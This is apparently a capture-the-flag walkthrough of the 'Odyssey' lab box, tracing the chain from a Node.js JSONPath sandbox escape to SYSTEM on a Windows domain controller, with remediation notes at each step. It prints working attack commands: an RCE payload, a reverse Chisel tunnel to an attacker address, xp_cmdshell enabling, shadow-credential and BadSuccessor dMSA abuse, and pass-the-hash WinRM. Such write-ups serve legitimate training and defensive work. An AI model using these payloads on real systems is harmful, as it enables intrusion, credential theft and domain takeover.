← all walkthroughs

Odyssey

Windows· Insane· Privilege Escalation
owned
2026-07-04
time to own
30m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The Aegis MDS Node.js application on port 3000 exposed an unauthenticated diagnostic endpoint whose JSONPath evaluator could be broken out of its sandbox with a constructor chain, reaching child_process and giving command execution on the Linux web host. Its source held hardcoded MSSQL credentials for an internal $INTERNAL_PREFIX.0/24 network, so a reverse Chisel tunnel through the same RCE opened a SOCKS pivot and forwarded the database port out.

Windows authentication to that MSSQL instance and xp_cmdshell gave execution inside the domain. From there a machine-account hash authenticated against the domain controller, and Certipy wrote a shadow credential to recover a service account's NT hash — over a SOCKS pivot, which broke both DNS and Kerberos clock sync until the DC's own clock was read back through the MSSQL session and faked locally.

That account could create a delegated managed service account, and on a Server 2025 domain controller the dMSA migration path hands the successor the predecessor's keys — the BadSuccessor technique — which produced a second service account with WinRM rights on the DC. Directory replication was denied to it, so the last step went through a third-party Windows service instead: decompiling it revealed an HMAC-signed named-pipe protocol and the operator key on disk, and a forged privileged frame ran commands in its SYSTEM context.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export INTERNAL_PREFIX="<the-first-three-octets-of-that-network>"
export PASSWORD2="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"
export HASH2="<the-hash-you-recovered, for svc-aegis-build>"
export HASH3="<the-hash-you-recovered, for svc-aegis-deploy>"

Some commands also carry a value in angle brackets — <the-dc-utc-time>, <the-diag-token> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceActive scanning and client-side route discovery (T1595.002)
Found the Aegis MDS application and its unauthenticated diagnostic endpoint
A port sweep of the target found a Node.js application, Aegis MDS, answering on port 3000 under the vhost aegis.korvia.htb. Reading the client-side JavaScript it serves mapped the API surface, and among the routes was a diagnostic family under /api/v1/aegis-mds/_diag/ that took a token in the path and asked for no session at all.
Port 3000 answered as a Node.js application under aegis.korvia.htb; the bundled JavaScript listed the _diag routes, including a jpquery endpoint taking a token path segment and no authentication.
Exact commands 3
shell

Full sweep; port 3000 is the application everything else hangs off.

$ nmap -Pn -sV -p- --min-rate 5000 $TARGET
shell

The application routes on the vhost, so it has to resolve locally.

$ echo "$TARGET aegis.korvia.htb korvia.htb" | sudo tee -a /etc/hosts
shell

Pull the bundle names, then read them: the route table is in the client.

$ curl -s http://aegis.korvia.htb:3000/ | grep -oE 'src="[^"]+\.js"'
FixRequire authentication on the diagnostic API, or remove it from production buildsHigh
WeaknessThe _diag route family answered without a session, gated only by a token in the URL path. A diagnostic surface that reaches an expression evaluator is not a diagnostic surface, and a token in a path is logged by every proxy between the caller and the application.
FixServe diagnostics only to an authenticated administrative session, and build them out of production images entirely where that is possible. Where a machine-readable health endpoint is genuinely needed, give it a fixed response shape with no caller-supplied expression in it.
2ExploitationServer-side expression injection to command execution (T1190)
Escaped the JSONPath sandbox with a constructor chain for RCE
The jpquery endpoint evaluates a caller-supplied JSONPath expression against a caller-supplied context. The evaluator runs the expression rather than matching it, and JavaScript hands out its own machinery to anything that can reach a property: [['constructor']][['constructor']] walks from an ordinary object to the Function constructor, which compiles a string into a function. From there require('child_process').exec is reachable, and the process runs as webadmin on the Linux web host.
A crafted expr against /api/v1/aegis-mds/_diag/<diag-token>/jpquery returned command output, and id reported webadmin on odyssey-web.
Exact commands 1
shell

The constructor chain reaches Function, Function compiles the payload, and the payload asks the module loader for child_process. Swap id for whatever you need to run.

$ curl -sS -X POST 'http://aegis.korvia.htb:3000/api/v1/aegis-mds/_diag/<the-diag-token>/jpquery' -H 'Content-Type: application/json' -d '{"context":{},"expr":"$[?(@[[\u0027constructor\u0027]][[\u0027constructor\u0027]](\u0027return process.mainModule.require(\"child_process\").execSync(\"id\").toString()\u0027)())]"}'
FixDo not evaluate caller-supplied JSONPath expressionsCritical
WeaknessThe endpoint evaluated a caller-supplied JSONPath expression rather than matching it. JavaScript reaches its own Function constructor through ordinary property access, so any evaluator that does not block the path from an object to its constructor grants arbitrary code execution to whoever can post a string.
FixMatch rather than evaluate: use a JSONPath implementation that compiles a restricted grammar and has no host access, and keep it on a deny-by-default allow-list of operators. If expressions have to be evaluated, run them in a separate process with no module loader and a hard timeout, and treat that process as untrusted.
3DiscoveryCredentials in files (T1552.001)
Read the application's own source for internal database credentials
The same execution primitive reads files, and the application's source carried hardcoded MSSQL credentials along with the address of an internal network the web host can reach but the VPN cannot: $INTERNAL_PREFIX.0/24, with the database on $INTERNAL_HOST2.
The application source held MSSQL credentials for odyssey_app on $INTERNAL_HOST2 and referenced the $INTERNAL_PREFIX.0/24 range, which no route from the VPN reaches.
Exact commands 1
shell

Run through the RCE above. The connection string is what makes the next step possible.

$ grep -rniE 'password|mssql|1433|172\.16\.' /opt/aegis --include='*.js' --include='*.json' | head -40
FixRemove hardcoded database credentials and rotate the exposed accountHigh
WeaknessThe application source carried a working MSSQL account for an internal host, so a read of the source was a read of the database. The same account was a domain account, which made it a foothold in the directory rather than only in the database.
FixMove the credential into a secrets manager the application reads at start-up, rotate the exposed account, and give it only the database rights it needs. A service that never needs to run commands should not hold an account that can enable xp_cmdshell.
4Lateral MovementProtocol tunneling (T1572)
Pivoted into the internal network with a reverse Chisel tunnel
The web host sits on both networks, so it becomes the route in. Chisel run in reverse mode has the target dial out to my listener, which avoids needing an inbound port: one channel carries a SOCKS proxy for tooling that understands one, and a second forwards the database port directly, which is simpler for tools that do not.
Chisel server -p 9011 --reverse accepted the client from the target; SOCKS5 came up on 127.0.0.1:11080 and 127.0.0.1:11433 forwarded to $INTERNAL_HOST2:1433.
Exact commands 2
shell

On my own machine. --reverse lets the client ask for listeners on this side.

$ chisel server -p 9011 --reverse
shell

Run through the RCE. The first forward is a general SOCKS pivot for proxychains, the second points at the database so a client can connect to it as though it were local.

$ chisel client $ATTACKER_IP:9011 R:11080:socks R:11433:$INTERNAL_HOST2:1433
FixDisable xp_cmdshell and separate the SQL service account from the domainHigh
Weaknessxp_cmdshell could be re-enabled by the application's own account, turning database access into command execution as a domain principal. From there the path to the domain controller was a matter of existing rights rather than a further vulnerability.
FixDeny xp_cmdshell at the server level and audit sp_configure changes. Run SQL Server under an account with no rights beyond the database, and keep dMSA creation rights away from service accounts — on a Server 2025 domain, the ability to create a delegated managed service account in a writable OU is equivalent to the rights of whatever account it supersedes.
5Lateral MovementSQL Server xp_cmdshell execution (T1059)
Authenticated to MSSQL with Windows auth and enabled xp_cmdshell
The recovered credentials are a domain account, so the database takes them as Windows authentication rather than a SQL login. Xp_cmdshell is disabled by default but can be turned back on by anyone with the rights this account has, and it runs commands as the service account — which puts command execution inside the domain rather than on the Linux host.
Impacket-mssqlclient authenticated to 127.0.0.1:11433 as ODYSSEY\svc-mssql with Windows authentication; enabling xp_cmdshell returned command output as the service account.
Exact commands 2
shell

Through the forward from the step above. -windows-auth is what the account needs.

$ impacket-mssqlclient -windows-auth "ODYSSEY/svc-mssql:$PASSWORD2@127.0.0.1" -port 11433
shell

Turn the procedure back on, then xp_cmdshell 'whoami' to confirm the context.

$ EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
6Privilege EscalationShadow credentials and dMSA successor abuse (T1649 / T1134)
Took a shadow credential, then abused dMSA migration to reach the DC
A machine-account hash authenticated against the domain controller, and Certipy wrote a Key Credential onto a target account — a shadow credential, which lets me request that account's own certificate and read back its NT hash. Two things break when this runs over a SOCKS pivot: DNS resolves locally instead of at the DC, and Kerberos refuses a ticket when the clocks disagree, which ntpdate cannot fix because the DC is not directly reachable. Pointing the tool at the DC for DNS solves the first; reading the DC's own UTC clock back through the MSSQL session and wrapping the tool in faketime solves the second. The account that came back could create a delegated managed service account. On a Server 2025 domain controller, a dMSA created as the successor to another account is handed that account's keys on retrieval — the BadSuccessor technique — so creating one in a writable OU and naming a member of the Remote Management Users group as its predecessor yields that member's NT hash.
Certipy, wrapped in faketime against the DC's own UTC time and forced to resolve through the DC, returned the NT hash for svc-aegis-build; bloodyAD created a dMSA in OU=Migrations naming svc-aegis-deploy as predecessor, and retrieving its managed password yielded that account's NT hash. WinRM to DC01 with it reported Pwn3d!.
Exact commands 4
shell

The DC's clock, read through a session that already works. Kerberos needs it.

$ proxychains4 -q impacket-mssqlclient -windows-auth 'ODYSSEY/svc-mssql@127.0.0.1' -port 11433 -q "SELECT CONVERT(varchar,GETUTCDATE(),120)"
shell

-ns forces DNS through the DC rather than the local resolver, which the SOCKS pivot does not carry. Faketime aligns the clock without touching the host's.

$ faketime -f "<the-dc-utc-time>" proxychains4 -q certipy-ad shadow auto -u 'ODYSSEY-DB$@odyssey.htb' -hashes ":$HASH" -account svc-aegis-build -dc-ip $INTERNAL_HOST -ns $INTERNAL_HOST
shell

The dMSA is created as the successor; retrieving its managed password returns the predecessor's keys.

$ proxychains4 -q bloodyAD --host $INTERNAL_HOST -d odyssey.htb -u svc-aegis-build -p ":$HASH2" add dmsa 'dmsa-pipe-deploy$' 'OU=Migrations,DC=odyssey,DC=htb' --supersede svc-aegis-deploy
shell

WinRM on the domain controller with the recovered hash.

$ proxychains4 -q evil-winrm -i $INTERNAL_HOST -u svc-aegis-deploy -H $HASH3
7Privilege EscalationNamed-pipe message forgery against a privileged service (T1559)
Forged an HMAC-signed frame to a service's named pipe for SYSTEM
The account has WinRM and local administrative rights on the DC but not directory-replication rights, so secretsdump is refused and a domain-wide dump is not the way through. A third-party service, Aegis Stream Collector, listens on a named pipe; pulling its assemblies back over WinRM and decompiling them revealed the control protocol — a magic value, HMAC-signed frames, and opcodes separated by an operator role from a viewer role — along with the key material kept on disk. Signing a privileged frame with the operator key and writing it to the pipe runs the command in the service's own context, which is SYSTEM.
Secretsdump was denied with rpc_s_access_denied, confirming no replication rights; the decompiled assemblies yielded the frame format, the opcode set and the operator key path under C:\ProgramData\AegisStream\keys\; a frame signed with that key executed in the service context and the root flag was read.
Exact commands 4
shell

From the evil-winrm session. The common assembly beside it carries the protocol types.

$ download C:\Program Files\AegisStream\AegisStreamSvc.dll
shell

The IL names the pipe, the frame magic and the opcodes; the role check is what separates viewer from operator.

$ monodis --output=AegisStreamSvc.il AegisStreamSvc.dll && grep -nEi 'pipe|hmac|opcode|magic|key' AegisStreamSvc.il | head -40
shell

The operator key the service itself uses to verify a privileged frame.

$ type C:\ProgramData\AegisStream\keys\operator.key.enc
shell

Read through the command the forged frame runs in the service's SYSTEM context -> <root.txt>

$ type C:\Users\Administrator\Desktop\root.txt